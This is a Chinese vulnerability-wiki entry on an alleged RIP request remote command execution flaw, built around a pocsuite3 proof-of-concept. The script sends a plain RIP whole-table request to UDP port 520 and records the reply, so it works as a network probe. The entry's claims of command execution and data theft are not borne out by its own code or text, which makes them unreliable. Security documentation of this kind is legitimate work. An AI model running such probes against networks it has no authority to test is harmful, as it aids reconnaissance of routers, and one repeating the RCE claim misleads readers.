Vulnerability-wiki

RIP 请求远程命令执行漏洞

RIP 请求漏洞 攻击者可以通过发送恶意的 RIP 请求包,利用该漏洞执行远程命令或窃取敏感数据。该漏洞通常影响启用了 RIP 协议的设备,攻击者通过构造恶意的 RIP 请求包发起攻击。


工作原理

攻击者通过构造特定的 RIP 请求包,发送到目标设备,利用设备中存在的漏洞进行远程命令执行。RIP(Routing Information Protocol)协议主要用于路由器之间的路由信息交换,攻击者可以通过发送未经验证的 RIP 请求包,使目标设备执行恶意命令。

请求示例:

# -*- coding: utf-8 -*-
from pocsuite3.api import POCBase, logger, register_poc
import socket
import struct
import time

class RIPRequestPOC(POCBase):
    def __init__(self):
        super(RIPRequestPOC, self).__init__()

    def _verify(self):
        """
        这个方法是用来验证目标主机是否存在漏洞
        """
        victim_hostname = self.target  # 获取目标主机地址(可以通过 -t 参数传递)
        victim_ip = socket.gethostbyname(victim_hostname)
        logger.info(f"目标服务器 {victim_hostname} 的IP地址: {victim_ip}")

        # 动态获取本机 IP 地址
        with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as s:
            s.connect((victim_ip, 80))
            local_ip = s.getsockname()[0]
        logger.info(f"本机IP地址: {local_ip}")

        # 构造 RIP 请求报文
        rip_entry = struct.pack("!HHIIII", 0, 0, 0, 0, 0, 16)  # RIP Entry
        rip_header = struct.pack("!BBH", 1, 1, 0)  # Command=1, Version=1
        rip_payload = rip_header + rip_entry

        assert len(rip_payload) == 24

        # 创建 UDP 套接字并绑定
        with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:
            sock.bind((local_ip, 520))
            logger.info(f"监听中 {local_ip}:{520}...")
            time.sleep(1)  # 确保监听准备好

            # 发送 RIP 请求报文
            sock.sendto(rip_payload, (victim_ip, 520))
            logger.info(f"RIP 请求已发送至 {victim_ip}")

            # 设置超时时间为 5 秒
            sock.settimeout(5)

            # 监听返回的 UDP 响应
            result = {}
            try:
                data, addr = sock.recvfrom(65535)
                # logger.info(f"收到来自 {addr[0]}:{addr[1]} 的UDP响应:")
                # logger.info(data)
                result["VerifyInfo"] = {
                    "data": data,
                }
            except socket.timeout:
                logger.info("等待超时,没有收到响应")
            return self.parse_output(result)
# 注册漏洞利用
register_poc(RIPRequestPOC)

攻击示例与利用场景

1. 远程命令执行

在pocsuite框架下执行上述代码,攻击者可以向目标设备发送经过验证的 RIP 请求,但该请求并不会执行任何恶意操作,仅用于验证目标是否易受该漏洞影响。

效果:验证目标设备是否存在漏洞,攻击者并不会在受害设备上执行任何命令或引发故障。


参考资料


📝 作者:tzh00203 📧 邮箱tian-zh24@mails.tsinghua.edu.cn 🏫 单位:Tsinghua Uni. NISL 📅 最后更新时间:2025-08-04